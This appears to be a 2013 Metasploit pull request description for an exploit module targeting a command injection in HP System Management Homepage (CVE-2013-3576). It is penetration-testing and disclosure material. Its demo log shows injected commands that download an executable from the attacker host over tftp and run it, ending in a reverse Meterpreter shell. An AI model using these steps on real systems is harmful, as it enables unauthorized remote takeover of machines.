rapid7/metasploit-framework — pull request #1992 by wchen-r7 (2013-06-20 09:22:26+00:00)
Title: Add CVE-2013-3576: HP System Management Homepage JustGetSNMPQueue Command Injection

This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM. Please note: In order for the exploit to work, the victim must enable the 'tftp' command, which is the case by default for systems such as Windows XP, 2003, etc. (I tested it on Win Server 2003)

You can download the vulnerable version (I tested the 7.2.1.3 version, file name cp019802.exe):
http://goo.gl/tmFC6

Note: During installation, you can choose either you want authentication or anonymous access for HP System Management... this module supports either mode.

Demo:

msf exploit(hp_sys_mgmt_exec) > check
[+] The target is vulnerable.
msf exploit(hp_sys_mgmt_exec) > exploit

[*] Started reverse handler on 10.0.1.76:4444
[*] 10.0.1.8:2381 - Executing: tftp -i 10.0.1.76 GET l14My0kk ABXiKtDN.exe
[*] Command Stager progress - 70.49% done (43/61 bytes)
[*] 10.0.1.8:2381 - Executing: start ABXiKtDN.exe
[*] Sending stage (751104 bytes) to 10.0.1.8
[*] Meterpreter session 4 opened (10.0.1.76:4444 -> 10.0.1.8:1250) at 2013-06-20 03:07:48 -0500

meterpreter >